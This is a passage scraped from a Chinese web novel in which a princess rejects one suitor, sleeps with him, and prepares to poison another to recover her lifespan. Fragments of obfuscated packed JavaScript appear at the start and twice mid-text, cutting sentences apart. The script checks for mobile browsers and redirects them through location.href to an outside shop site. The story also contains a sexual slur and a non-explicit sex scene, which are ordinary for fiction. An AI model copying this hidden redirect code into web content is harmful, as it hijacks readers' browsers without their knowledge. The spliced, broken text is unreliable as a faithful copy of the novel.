l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007134|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时收下两份礼物。 此刻谢赵二人谁也不让谁,故意把矛盾摆到台面上来,目的就是逼她表明态度。 所以装傻解决不了问题。接受谁的礼物,便相当于向谁表明了心意。 是接花灯?还是接酥酪? 平心而论,知慈半点也不想碰那盒酥酪。因为她既不想吃酥酪、也不喜欢赵晏然。相对而言,她对谢琅的好感要高出赵晏然太多。 但知慈心里从未忘记自己的任务。此时她心中第一重要之事,便是取回心头血,换回她的寿命。因此她必须再同赵晏然虚与委蛇一段时间,骗他再喝一次毒药。 所以该选谁不言而喻。 知慈心意已定,冲谢琅歉意一笑,“多谢你的心意,但我……还是更喜欢这个。” 她说着,接过了赵晏然手中的糕点盒。 赵晏然眼睛一亮,露出意外而欣喜的表情。 而另一边,谢琅神色则变得晦暗不明。他缓缓放下手臂,什么都没说,露出一个自嘲的笑。 知慈不太喜欢夹在两人中间的感觉,谢琅讥嘲的表情让她有些负疚。 于是知慈对赵晏然道,“我们去前边吧。” 说着,她对谢琅招呼道,“你慢慢逛,我俩先去那边了。” 谢琅没有回应。 知慈也没再看他,拉着赵晏然便走远了。 没走多远,赵晏然便问道,“你怎么没接他的花灯?” 知慈不想回答,敷衍道,“我喜欢好吃的。” 赵晏然点头,过了一会儿,他又道,“你今天吃太多,不能再吃了。等明儿我去找他家掌柜,重新给你做。” 说着,他从知慈手中夺过点心盒。 知慈明白赵晏然识破了自己捉弄他的心思,但经过方才一事,她突然什么兴致都没有了。 她兴致缺缺,随口道,“嗯,行,那这盒点心怎么办?我懒得带回宫了。” 赵晏然想了想,“我去送给李文武,这本就是他赢的。” 知慈点头,“好,你去吧,我在这等你。” 说着,她在路边的凉亭里坐了下来,目送赵晏然离去。 知慈一个人坐在凉亭里,低头瞧着自己脚上的绣花鞋,无意识地发呆。 不知过了多久,一双长腿走到了她的面前站定。 对方身材颀长清瘦,将知慈笼罩在影子中。 知慈缓缓抬起头,认出来人是谢琅。可此刻他的脸隐在黑暗中,看不清神色。 “你一直跟着我?”知慈下意识站了起来。 谢琅没有回答,语气是知慈从未听过的冷淡,“你和他关系又好了?” 知慈本来心有愧疚,但听见他口气带着质问,便忍不住反驳,“我为什么不能同他关系好?” 谢琅道,“你昨日亲口说过,你不喜欢他。” 知慈道,“不喜欢便不能出来玩了?况且这是我的事,与你有何干系?” “和我没关系?” 谢琅声音微颤,重复道,“你我已有肌肤之亲,怎么能说和我没关系?” 又来了。 知慈心里烦躁,不耐烦道,“我都说了多少遍,你我发生关系只是权宜之计。你若接受不了,离我远些忘掉便是。” “离你远些——忘了?”谢琅提高声音,“你是怎么做到轻飘飘说出这种话来?那晚你对我做的事,我这辈子都忘不掉。而你却让我忘了?!” 知慈沉默。 看知慈不说话,谢琅心都快碎了,他哀求道,“知慈,你肯定还是喜欢我的吧,否则那时你中了药,为什么只来找我?” 知慈承认,她的确喜欢谢琅。 她喜欢他的人品,也喜欢他的外形和身体。若他想和自己再做一次,她想她也会欣然应允。 可她现下要同赵晏然周旋,谢琅一再不分场合地纠缠,只让知慈觉得碍事。 望着谢琅哽咽的模样,知慈心里拿定了主意:既然他不知进退,那她便彻底断了他的念想。 “能别自作多情了吗?” “……什么?” 知慈道,“那时我选择你,是因为你不会给我添麻烦;除此之外,我一点也不喜欢你。所以能别再没完没了纠缠了吗?别逼我讨厌你。” 谢琅不说话了。 一时间只有远处的街道的喧嚷声音。 良久,谢琅嗓音嘶哑开口,“所以当初你中了药,对你来说,只要不给你添麻烦,其实谁都可以?” 知慈只是沉默。 谢琅紧紧盯着知慈,希望能从她的神色中找到违心的痕迹,可他失望了。 不知过了多久,谢琅道,“……我明白了。” 知慈蹙眉,明白什么? 谢琅没有回答她,只低低笑了起来,笑声凄然。 他笑了半晌,声音却带了一丝哽咽,“我今日终于看清了你。” 知慈看到他抬起头望着自己,语气满是厌憎和戾气。 “——沈知慈,原来你就是个水性杨花的婊子。” 知慈头脑一片空白,‘啪’地一声,她狠狠给了谢琅一巴掌。 “你知道自己在说什么吗?” 谢琅被扇得偏过头,没有说话。 知慈找回了理智,她冷冷盯了谢琅,“说我是婊子,那你呢?天天围在我身边的你,又是什么东西?” 谢琅仍垂着头,维持被打偏过脸的姿势,一言不发。 知慈望了他半晌,突然绕开他快步离开凉亭,不再多停留一刻。 49. 痛苦 谢琅和知慈自此决裂。 那天过后,两人再未说过一句话。即使在宫里偶尔撞见,二人也只目不斜视擦肩而过。 谢琅变得忙碌无比,他全身心扑在公务之上,不让自己有半刻闲下来的时间。 可即便如此,只要他一停下,就会再度想到知慈。他吃饭时会想到知慈,走路时会想到知慈,即使是睡觉,梦中也都是知慈。 自从与知慈闹掰后,二人之间过往的美好和最后的争吵便不断交织着在他脑海中闪回重复。他只觉这辈子从未有一个人让他这么强烈地同时感受爱与恨两种情感。 谢琅怎么也想不明白,知慈同自己发生了夫妻之实,又怎能对自己没有一点感情? 痛苦之中,他想起很久以前同池无暇的一次口角。 那时池无暇有些纨绔习性,常同几个关系要好的官家子弟逛青楼。因为谢琅与池无暇走得近,池无暇自然也喊过他去青楼,但谢琅很干脆地拒绝了。 池无暇同谢琅勾肩搭背道,“怎么,怕染病?” 谢琅摇头。 “哦,我知道了,你想在陛下面前装乖,装好孩子。” 谢琅板着脸拉开池无暇,“你别胡说八道了。我就是单纯不想去。” 池无暇道,“那我就不明白了,你既然没什么顾忌,又何不遵循本心、及时行乐呢?” 谢琅皱眉,不赞同道,“有欲望就发泄,和动物有什么区别?” 池无暇看他半晌,惋惜摇头,“你啊……古板又迂腐。” 谢琅道,“我不这么觉得,倒是你,无暇,你马上成家了,若被林姑娘得知逛青楼,她会怎么想?” 池无暇不理解道,“就那么想呗。青楼女子不过是玩物,又不会给名分。我将明媒正娶的妻子只有林小梅,她又怎会介意呢?” 谢琅道,“可你不怕她伤心吗?你明明将要娶她,却还和别的女人做那种事。无暇,你真喜欢她吗?” 池无暇见谢琅咄咄逼人,也不高兴了,他直起身板,反驳道,“我当然爱小梅。可对于男人来说,爱与欲望本就是分离的。我去青楼只为解决身体需求,身份阶级都不同,我怎么可能喜欢上那些玩物?” 谢琅执着地追问,“你真的一点也不喜欢吗?若青楼女子貌若无盐,我不信你还愿意和她共赴巫山。” 池无暇道,“去花钱当然要点漂亮的,可那就是玩玩而已,也能叫喜欢?这世上我唯一真爱的女子只有林小梅。我选择她做我的妻子,给她名分和尊重,进门后会将执掌中馈的权力交给她,她的娘家兄弟我也会尽力扶持。你告诉我,这些实打实的好处,哪个不比强行禁欲更能证明我的感情?” 谢琅道,“是,这些都能证明你很爱她,但这些也都掩盖不了你好色花心的事实。爱和欲不可分离,你逛青楼,同妓女上床,都说明你喜爱那些妓女,只是爱得很浅薄,仅限于她们漂亮的皮相。” 谢琅继续道,“可即便你喜爱的只是她们的身体,对林姑娘来说,你的爱都已不再完整。因为无论你对她多好,都只能证明‘你最爱她’,而非‘你只爱她’——可是,能拆分给很多人的廉价之爱,它的分量又怎能与‘愿得一人心’的专一之爱相提并论呢?” 池无暇不屑,“你太偏执了,现实世界哪来那么多极端的纯粹之爱?小梅不介意,我丈母娘更不介意——她还劝小梅做个包容贤妇。大家都认为我这样很正常,怎么你个大男人反倒介意上了?你还算我朋友吗?” 谢琅认真道,“这偏执吗?世间那么多女子都能做到身心唯一,为何性别一换,洁身自好就成了偏执、极端、不现实?我只问你,如果林姑娘也如你一般在外养小倌,你也能面不改色相信她玩玩而已,包容于她吗?” 池无暇恼怒道,“你别抬杠了。男女身体构造都不一样,对男人来说性是本能;而女人更注重情感,先有感情才有欲望。你怎能用约束女子的规矩来批判我?” 谢琅摇头,“我不这么觉得,男女生理结构不同,灵魂的构造难道也不相同?大家都是人,对爱、对专一的需求都一样刻在骨子里。说到底,如今这世道由男人制定规则,所以自然要罔顾是非、偏袒男人:男儿花心美名其曰‘雄性本能’‘风流’,女子为此吃醋便是善妒不贤;若女人敢像男人一样花心好色,那更要被冠以东食西宿、朝秦暮楚之名。” 谢琅道,“可女人也是和男人一样有情感、有欲望的人。世俗礼教将女子规训为贤惠忠贞的工具,不代表她们天生就对相公的风流毫无怨言。所以,身为男子若不能洁身自好,又如何去要求所爱的女子身心唯一?” 池无暇嘲笑,“喔,你真懂女人,看来你将来会是个体贴相公。” 池无暇最后当然没听他的,与谢琅不欢而散去青楼了。但当时自己同池无暇争执时激动的声音言犹在耳,谢琅从回忆中清醒过来。 谢琅是个理想主义者,他相信爱,也向往爱。在他看来,抛除一切世俗功利的考量,仅讨论两颗灵魂的碰撞,想要获得所爱之人最纯粹完整的真心,就该洁身自好,以身作则,先保留自己一颗完完整整的真心。 多年来他奉行这套价值观洁身自好。因为皮相优越,从小对他示好的异性就没断过,随着年纪增长,他在朝中渐渐崭露头角,明里暗里同他表露好感的贵族千金不计其数。 但即便是气血方刚的青春期,谢琅也从未同哪个女子有过交集,因为他不喜欢她们,所以绝不轻率接受对方示好。 谢琅内心一直渴望,将来遇到成为自己伴侣的女子身体和心灵都对他绝对忠贞,‘只’爱他一人。所以他也一直用同样的感情标准要求自己,为的是遇见那个她时,用身心经历的绝对空白向对方表白。 那时他和知慈阴差阳错来到无生老母的幻境,知慈为他放了一场盛大的烟花。璀璨的烟花下,谢琅凝视着笑眯眯望着天空的小姑娘,心头急跳。 知慈永远都不会知道,那天她的笑容,对他意味着什么。 后来,知慈被下药那一夜,他与知慈鱼水之欢。知慈将自己的第一次交给他,可他推倒知慈的一刻,何尝不是将自己坚守多年的清白交给了知慈? 对他来说,知慈与他做了最亲密的事,便已经是他认定的一生一世的爱人了。他会娶她,会一辈子对她好。 但接下来,事态发展却急转直下。 谢琅同知慈行过夫妻之礼,早已对她情根深种。但对知慈来说这一切却无关痛痒。 谢琅觉得自己像一个笑话,他洁身自好等来他的意中人,只为告诉她,有生以来、从今以后,他最爱她、也只爱她。 但知慈却告诉他,他的清白一文不值,让他‘把那天的事情,忘了吧’。 可他怎么能忘记?! 知慈的轻浮让他感到恶心。谢琅知道自己陷得太深了,但他早已无法脱身。 爱得越深,便越无法忍受背叛。当他听见知慈亲口说出一点也不喜欢他时,谢琅彻底崩溃了。失望和痛苦之下,一向极富教养的贵公子,用平生说过最恶毒的话羞辱知慈。 他被知慈狠狠扇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019517|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一耳光,但知慈不会知道,自己羞辱她的每一个字,都是在羞辱他自己。 他骂她婊子,那拜倒在她裙下的自己又算什么,他坚守多年的洁身自好又算什么呢? 想到这里,谢琅有些无力地用手撑住头。 正在痛苦之时,门外传来下属的声音。 “殿下,徐钰亲卫带到了,属下让他在中堂候着。” 谢琅如梦初醒,下属提醒了他,前几日他吩咐把徐钰案当年的亲卫带过来问话,现在人到了,他得打起精神问话。 于是他使劲用手掌揉了一下脸,强打起精神道,“让他进来。” 门开了,一个瘦弱黝黑的男子略微局促走了进来,向谢琅跪下。 谢琅摆了摆手,让下属将那男子扶起。 下属道,“殿下,这位是李志明,曾在徐钰麾下任亲卫一职,徐钰失踪后,便隐姓埋名,一直在吴县做短工。” 谢琅勉强让自己如平日一样保持体面,但一开口声音却有些发哑,“李志明,徐钰当年战败一事,究竟有什么隐情?” 李志明抬头。他连日赶路,一直心头忐忑,怕对方不怀好意,自己说出当年内幕会惹来杀身之祸。 直到方才他来到衙门,得知追查此事的人原来是五皇子殿下,他才终于放下了所有的戒心和担忧。 “殿下,徐将军他是被冤枉的!”李志明道。 亲耳听见人告诉他老师被冤枉,谢琅下意识直起身,“此话怎讲?” 李志明道,“回禀殿下,小人本是徐钰麾下的一名亲卫。三年前那场战役前夕,小人去主帐给徐将军送茶,恰巧听见徐将军在帐内同他的副将商议军情,小人心里好奇,于是倒过茶后又在帐外听了一会。” 李志明继续道,“徐将军在与他副将商量第二天的兵力部署,他让副将领兵去山谷四周高地提前埋伏,届时他会亲自领兵假意溃逃,将鞑靼人引入山谷之中,再同提前埋伏好的副将带兵里应外合,瓮中捉鳖。” “后来,到了第二天,将军他按照昨日我听到的部署将鞑靼人引诱至山谷,可是,本该出现的副将军队却没有出现。因为后援军消失,山谷中大部分士兵都被鞑靼人擒获坑杀。而小人依靠装死,侥幸在死人堆中捡回一条命。” 李志明道,“殿下,徐将军不是卖国贼,真正的叛徒是他的副将!您一定要为徐将军伸冤啊!” 李志明激动地看着谢琅,但谢琅听完他的叙述却沉默了。 谢琅一直相信徐钰被构陷,但李志明告诉他,构陷徐钰的人是他的副将,那事情就复杂了。 因为这位副将,如今已被嘉平帝提拔为最器重的武将。 如果李志明说的是真话,那副将作为皇帝心腹,他的背叛究竟是出于个人意志,还是嘉平帝的授意? 谢琅不愿再细想,他宁可李志明在说谎,也不愿接受害死徐钰和数千将士的元凶是嘉平帝这一推论。 李志明还在眼巴巴等着他。谢琅勉强道,“我知道了,若你说的是真话,我一定会为徐钰洗冤。” 谢琅让下属好好招待李志明。李志明走后,屋内再次安静下来。 谢琅的脑中纷杂混乱。 一个是他爱戴的师长,一个是他敬仰的父皇,无论谁是真正的罪魁祸首,谢琅都觉得难以承受。 痛苦让谢琅只想放弃思考,他下意识想要逃避。 犹豫半晌后,谢琅屈从于情感的本能,想去寻求所爱之人的慰藉。 他麻木地站起身,行尸走肉般离开了衙门。 50. 沉沦 谢琅与徐钰亲卫对话的同时,知慈正携轻鸿提着点心来到将军府。 这是她最后一次给赵晏然下毒。只要这次成功,自己便能取回自己的寿命。 糕点盒上层是她亲手做的荷花酥,点心下过了毒。而糕点盒下层的暗匣中则藏了一柄匕首。 轻鸿趁赵晏然不在府上时过来踩过点,以保证事后能带知慈全身而退。 但真要在对方地盘下手,知慈还是有一些紧张。 因为赵晏然提前同门房打过招呼,对方一见知慈,便恭敬无比请她们进府。 知慈垂着头,微微捏紧拳,不想暴露自己的紧张。 下一刻,知慈突然听见了杀猪般的哀嚎。 她被吓了一跳,抬头便见前方一人浑身是血、身上没一块好皮,躺在地上被人拖行着往外走。而那人所经之处留下了一道长长的血迹。 知慈看得有些心惊,问门房道,“这人是怎么了?” 门房还没回答,旁边一个十五六岁少年便接过话来。 “他啊,他是我师兄之前的属下,因为不老实被我师兄革职了,结果这人怀恨在心,想了些下作招数害我师兄,被师兄抓了现行。” 知慈疑惑,“你师兄?” “就是赵晏然,我是他上清山的同门小师弟。”那少年笑嘻嘻自我介绍。 随即他扭头冲拖行着犯人的侍卫道,“老孙,你直接把高飞绑去送给张统领,我就不去了。我要留下和这位姑娘说话。” 说完他又转回了头,对知慈道,“我师兄记仇得很,谁要想害他,他一定变本加厉报复回去。等会高明被送去张统领那,保管他叫他求生不能、求死不得。” 小师弟明明说的是方才高飞的犯人,但知慈却莫名打了一个寒噤,“……可这不算滥用私刑吗?” 小师弟道,“放心吧,深究起来高飞不占理的。” 知慈下意识握紧手中的糕点盒,忍不住联想到自己。如果被赵晏然发现自己也要害她,他是会顾念和自己的情分,还是对自己也施以酷刑? 她瞥了一眼身后陪同自己的轻鸿,轻鸿向她投来安慰的神色。 知慈心中一激,清明过来:她只剩三个月寿命,不给赵晏然下毒,自己就会死。所以她别无选择。 想通这点,知慈心中终于镇定下来。 她开始同小师弟攀谈,“你给你师兄办事,那你现在算他属下?” 小师弟摇头,“我是掌门派来提前踩点筹备大阅礼的,才不是师兄的下属。不过师兄招待我在将军府落脚,闲来无事时,我会帮他打打下手,比如杀个人放个火之类。” 原来上清派在谢国战争期间一直保持绝对中立。如今战事已定,谢国大获全胜,观望良久的上清派终于重新派出弟子驻京,并为参加朝廷即将举办的大阅礼做准备。 小师弟说话期间,一直用一种奇异的眼神望着知慈;话音落下后,他依旧眼睛眨也不眨盯着知慈的脸。 知慈被他看得受不了,道,“你一直看我干什么?” 被知慈点出,小师弟没有半点不好意思,索性直接道,“那个,我能问问吗,你脸上的疤是怎么没的?” 知慈一愣。 “你怎么知道我脸上曾经有过疤?我们认识吗?” 小师弟道,“你不认识我,但我对你印象可深了。” 知慈疑惑更甚。 小师弟性格聒噪,早就憋不住话了,“唉,我都告诉你吧,一个月前我刚来京城,正好赶上师兄班师回朝,便一块儿参与了师兄和他战友的庆功宴。” “宴会上大家都喝多了,师兄一喝多就开始哭,说他很想你,又说你是世间最好的女孩他却没珍惜……总之我都有点被打动了,然后师兄给我们看了你的小像。” 小师弟继续道,“我当时太好奇了,究竟何方神圣能把眼高于顶的赵师兄迷成这样,结果看完之后——你别生气,你长得实在和我想象中落差太大。所以我更加好奇,猜测你究竟有何过人之处,才能让赵师兄如此念念不忘。” 小师弟接着道,“正好我想起诸葛师兄三年前来京城找过赵师兄,于是我写了封信给他,问他认不认识你。” “诸葛师兄?” 小师弟道,“对,诸葛真,山上和我关系最好的师兄。诸葛师兄回信说,他一早就猜到你和赵师兄什么关系,还说当初赵师兄在他面前遮遮掩掩不愿承认,简直掩耳盗铃。” 知慈几乎能想象出诸葛真洋洋得意的口吻,想到赵晏然这个可恶的同门,她突然觉得有些牙痒。 小师弟道,“不过,诸葛师兄接下来告诉我,你出了意外后,赵师兄本打算跟他们返程回上清。可走到半路时,赵师兄见到一个道姑,就突然疯了。他不断地流泪同周师兄和诸葛师兄一遍一遍重复,说他撒谎了,你其实就是他喜欢的女孩。那副凄惨模样让诸葛师兄都有点不忍心了。” 知慈怔怔听着这些自己不曾听闻的往事,心口像被小刺扎了一下。 小师弟道,“那天庆功宴,赵师兄哭得很伤心。不过没过多久,我便听赵师兄同张统领说你没死。那之后赵师兄就像变了一个人,重新变得神采奕奕。所以我一直好奇你究竟是何方神圣,没想到今日见到真人,竟这样好看。” 小师弟的讲述结束了,知慈心中五味杂陈,说不出自己是什么感觉。 正好这时,赵晏然从内院走来。 “谷雨,你在同她说什么?” 小师弟转头,见是赵晏然,笑嘻嘻道,“师兄,你的心上人真好看,我都想追了。” 赵晏然面无表情,“你哪来的自信?她根本看不上你。”说着,赵晏然踢了小师弟一脚,把他赶走了。 赵晏然看向知慈,“你来找我,怎么不提前说一声?” 知慈没说话,小师弟方才的话依旧盘桓在她脑中。 赵晏然也没在意,见她提着一盒点心,便自然而然从知慈手中接过,“这是你给我的?” 电光石火间,知慈移开手。 她冲赵晏然笑笑,“不是给你的,这是我送别人的。”说着,她转身将那盒点心塞到了轻鸿手中,不顾轻鸿错愕的目光,对她道,“我和赵晏然叙叙旧,你先去送糕点吧。” 轻鸿明白知慈计划有变,她很懂眼色,接过糕点便离去了。 知慈心中纠结。 方才的糕点里有毒。赵晏然已经被下过两次毒,再吃一次点心,便会武功尽失。 可是方才听完小师弟讲述赵晏然在自己死后的伤心情状后,知慈犹豫了。 她不知道该怎么面对下毒后赵晏然失望愤恨的目光。 见轻鸿提着糕点离去,赵晏然愣了一下,有些失落,“不是给我的啊。” 知慈敷衍道,“你哪缺这口吃的?” 知慈还沉浸在自己方才一瞬间的心软反应中,她有些后悔了:不杀赵晏然,死的就会是自己,这道理她明明是清楚的。 赵晏然轻笑,“怎么不缺?上次我赠与了你酥酪,作为礼尚往来,那盒点心该是我的。” 知慈听着他说话,神游天外。她开始在心中给自己找借口:其实方才没下手也好事,将军府人多眼杂,又有赵晏然的同门师弟在,善后起来很麻烦。 于是知慈点头道,“也对,那这样吧。” 知慈道,“你想吃,我今儿回去给你做,明天就约见在枣花街旧居,你备好酒,不见不散。” 知慈拿定了主意,准备明日换个清净地方再下手。 赵晏然道,“那自然好。你我一起生活这么久,我还没吃过你做的饭。” 知慈摇头,“别抱期望,提前说好,味道一般。” 赵晏然哑然失笑,转回了话题,道,“对了,你来找我什么事?” 知慈本来是给他下毒的,但此刻糕点已被轻鸿拿走,于是知慈面不改色撒了谎。 “我和轻鸿出来给人送糕点,正好路过你府上,便来瞧一眼你的将军府是否如传闻中一般气派,没别的事。” 赵晏然闻言,不自觉弯起唇角,知慈对他的事感兴趣,这令他心情雀跃。 但知慈没心情再同赵晏然虚与委蛇,她胡乱找了个托词,“那我先走了,轻鸿已经到人家府上等我了。”便与他告别。 - 知慈一路低头回到自己的宫殿,殿内空空荡荡,没有一个人。 她陷在思绪中,心中无力。 从前她一直恨赵晏然贪慕虚荣,嫌她拿不出手。但方才当她得知赵晏然在她死后这样悲伤,她突然就下不去手了。 在小师弟口中,自己死后,赵晏然真正把她摆在了从前没有的地位上。 但这些东西来得太晚了。 对于现在的知慈来说,赵晏然不死,自己就只剩三个月的寿命。所以无论赵晏然对她感情多真挚,只要自己想活,那么就必须杀死他。 知慈手紧握成拳,指甲扣进肉里。 她深恨自己的不争气。今天心软,那明天呢?明天的自己不会又在紧要关头掉链子吧。 就在她最纠结痛苦之时,阴影石桌处传来声音,“你终于回来了,我一直在等你。” 知慈吓了一跳,随即认出是谢琅的声音。 “你怎么进来的?!” 谢琅没有回答她的问题,嗓音沙哑,自顾自道,“你又去找赵晏然了,是不是?” 颀长的身影缓缓从阴影中走出,曾经温润谦和的面容,此刻阴郁而颓废。 知慈下意识后退半步,随即冷笑道,“怎么,骂完我还回头找我?你就这么没骨气?” 令知慈意外的事,谢琅并没有反驳。 “你说的对,”谢琅声音沙哑,“是我犯贱,我不能没有你。” 上午谢琅得知父皇可能是构陷老师的元凶后,他内心便一直无法接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024293|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他眼中,父皇励精图治,是人人称颂的明君,无论如何都同构陷忠臣良将一词联系不起来。他甚至觉得如果徐钰和父皇之间非要选一个坏人,那他宁可选择徐钰。 矛盾和痛苦的情绪折磨着谢琅的内心,他无比渴望所爱之人能纾解他苦痛的情绪——情绪最低谷时,谢琅下意识的反应是来知慈处舔舐伤口。 他知道自己没骨气,下贱。他厌恶知慈轻浮,恨她玩弄他的感情;可即便如此,他也好想要知慈一个安慰的拥抱。 知慈嗤笑,“你当初骂我时,可不是这副委屈模样。” 谢琅没说话,轻颤着去拉知慈的手。 知慈狠狠甩开,却被谢琅更紧地握住。 谢琅仿佛抓救命稻草道,“你别走,你不是希望我不给你添麻烦吗?那我以后也不给你添麻烦,你就把我当小倌儿,不走心也没关系,好不好。” 他说着,拉着知慈的手贴上他的脸颊,神色哀伤而乞求。 知慈拼命挣扎,“你放手!” 知慈的抗拒伤到了谢琅,他声音带着哭腔,听起来心都快碎了。 “你不能这样,知慈。是你先来招惹我的,是你执意要同我发生关系,是你给我放了那场烟花,是你主动闯进我心里。为什么如今你又不要我了?你还有心吗?” 知慈却半点没有动容,“我不原谅你,你给我有多远滚多远。” 知慈总算挣开了谢琅的手,转身就向屋里走。 谢琅站在原地,绝望看着知慈的背影,没有去追,他的声音带着恨意,“你就这么喜欢赵晏然,喜欢到愿意为他保持身心唯一?” 知慈关门的手顿住了。 她怎么可能喜欢赵晏然? 想起方才在将军府软弱的自己,知慈的手下意识捏紧了门框。 “我不喜欢他,我拒绝你,和他没关系。”知慈背对着谢琅道。 谢琅讽刺地笑,道,“你对我避之不及,却总主动同他在一起,你说不喜欢他,自己信吗?” 知慈站在原地,宛若一座雕像。 倘若谢琅都能看出来她对赵晏然仍有余情,那明日她又如何狠下心来对赵晏然下手? 想到此处,知慈转身,一步步走回谢琅面前。 她将谢琅的衣襟拽向自己,让他不得不微微俯身低头,双眸直视知慈。 二人鼻尖相对,呼吸相闻。知慈平静注视着谢琅的眼眸,语气森冷道,“你在激我?” 下一刻,她微微侧头与谢琅嘴唇相触,轻轻允吸了一下。 谢琅瞬间僵住,但知慈的唇立刻离开了他。 “你想要的,不就是这个?” 二人呼吸相闻,知慈望着谢琅,“如你所愿。我确实不喜欢赵晏然,也不在乎什么名节,但那又如何?我依然看不上你,在我看来,你不过就是个空有漂亮皮囊的下贱货色。” 她口出恶言,注视着谢琅的眼眸从惊喜变得暗淡痛苦,知慈心中被隐秘的快感和恶意占据。 “这就受不了了?就这,你是怎么好意思说让我把你当小倌儿对待的?” 知慈解恨地望着他。 然而,就在她刚想抬步后退时,谢琅突然一手搂住她的腰,一手摁住知慈脑后,深深吻了下去。 知慈惊讶地睁大了眼。 谢琅的吻让知慈血液加速。她突然觉得,此刻的离经叛道行为,让自己甩脱了对赵晏然不必要的心软。 于是知慈不再挣扎。 她环抱住谢琅,激烈地回吻。 此时此刻,这充满了背叛和轻浮意义的亲吻,犹如某种无声的宣誓:她不喜欢赵晏然,也不会对他手软。 知慈优柔寡断的心渐渐变得坚定。 但与此同时,谢琅感受着知慈热情的回应,心中却苦涩无法自拔。 她行动如此热情,内心却如此无情。 谢琅心如刀绞,他第一次知道,原来与所爱的人行亲密之事,也可以如此痛苦。 明明他来找知慈,不是为了这个——不是为了身体的亲昵。 可即便如此,他却仍然舍不得放手。他心想,只要能留住知慈,怎样都好。 他恨她随便,可他能怎么办呢?即使她心有所属,他还是爱她。即使她的心不忠贞,他也还是爱她。 他拿她毫无办法。 这样想着,谢琅搂在知慈腰间的手大力收紧,他闭上眼,全身心与知慈气息纠缠。 激烈的吻持续了很久,紧贴相拥的二人终于分开。 知慈盯着谢琅的脸,唇角勾起一个轻蔑的笑,“你有反应了,果然是个下流胚子。” 貌若谪仙、不可亵玩的贵公子恍若未闻。他一言不发,不顾知慈的惊呼和谩骂,直接将知慈打横抱起,抱着她进入了宫殿内室。 谢琅想,这样也好。 她既是玩弄他于股掌之间的妖女,那他就做甘愿随她沉沦堕落的信徒。 51. 死亡 二人春宵一度。 天方既白,知慈睁眼躺在床上。 知慈心如止水,再没了昨日的半分犹豫纠结——身体放纵之后,心理的负担便卸下了很多。 她和赵晏然本就就是你死我活的关系,今日便是赵晏然的死期。 “在想什么?” 身边,谢琅凝视着知慈的侧脸,手指搭上了知慈的胳膊。 他喜欢知慈昨夜仅剩本能的模样,她的痛苦和欢愉都因他而起。因为身体的本能无法作假,所以只有这样的时刻,才能让他相信知慈完全属于他、完全被他占有。 可此刻,知慈睁着眼神游天外地模样,又让他感到与她的距离变得遥远。 知慈睫毛一颤,道,“没什么,我要起了。”说着,她掀开被子翻身起床,开始更衣,“你不走吗?别让人发现了。” 谢琅见她言辞疏离,望着她下地穿衣出了内室,心中再度变得空荡荡。 但知慈说的没错,他该走了。 他已逃避整整一晚上,眼下他必须去寻找嘉平帝,为徐钰讨要一个真相了。 于是他下地更衣,趁晨光熹微,自来时的隐蔽路径离开了知慈的宫殿。 - 晌午,知慈携轻鸿如约赶赴枣花街。 她命轻鸿在枣花街地字院待命,而自己则提着下过毒的点心,来到枣花街天字院。 赵晏然在院内等她,一看见知慈,他眼睛便亮了起来,“你来了。” 知慈冲他一笑,“嗯,答应给你做点心,我自然要准时。” 她率先走进内室,屋内依旧是从前的布局。赵晏然屋在西厢房,而自己的屋在东厢房。 知慈走进自己屋中,见屋内陈设一如从前。当年自己离去时收拾行李时翻箱倒柜,而此刻房内一尘不染,陈列整齐。 赵晏然站在她身后道,“你走之后,我时常会回来这里,想象当初你还在我身边的样子。” 知慈闻言,心中没什么触动。她惦记着此行的目的,回到正堂,在饭桌前落座。 赵晏然在她对面坐了下来,手支着下巴看知慈解开糕点盒的包袱,忍不住弯起唇角。 知慈拿出一枚糕点,正要递给赵晏然,却看到他在笑。 “怎么了?” 赵晏然目光柔和看着她,“不知不觉,已经过去了三年。” 知慈表面迎合道,“唉,是啊,世事变迁,你我都变了不少。” 随即她将糕点递给了赵晏然,“尝尝,我做的。” 赵晏然接过糕点。 知慈表面不在意,内心却很是紧绷。吃下这枚糕点,赵晏然就会立刻毒发。 她听见赵晏然道,“让我尝尝你的手艺。” 说着,他将糕点送向嘴边。 知慈心跟着悬起。 然而赵晏然忽然又放下了手。 “对了,你接下来怎么打算?”赵晏然想起一个话茬,捏着糕点的手放了下来。 “接下来?” “嗯,如今你是公主,无需像从前为生计发愁,你有什么想做的事吗?” 知慈见他开始聊些不着边际的话题,忍不住有些火大。但此刻她还要用到赵晏然,于是面上还是笑眯眯的。 “……嗯,说心里话,我这个公主就是个吉祥物罢了。接下来为了明哲保身,如果可以,我想远离宫廷,不当公主了。” 赵晏然似乎没想到知慈会这样说,“那你想做什么?” “周游列国,其实我很想去外面的世界看看。”知慈想了想,又道,“到时我会给你带礼物的。” 此间事毕,她想出去转转是真,但给赵晏然带礼物是哄他。她心想,倒时他就死了。 赵晏然道,“我以为你会邀请我同行。” 知慈道,“你位高权重,事务繁多,可没法像我一样说走就走。” 赵晏然摇头,“你知道我根本不在乎功名。若你想周游列国,那我愿辞去官位,给你保驾护航。” 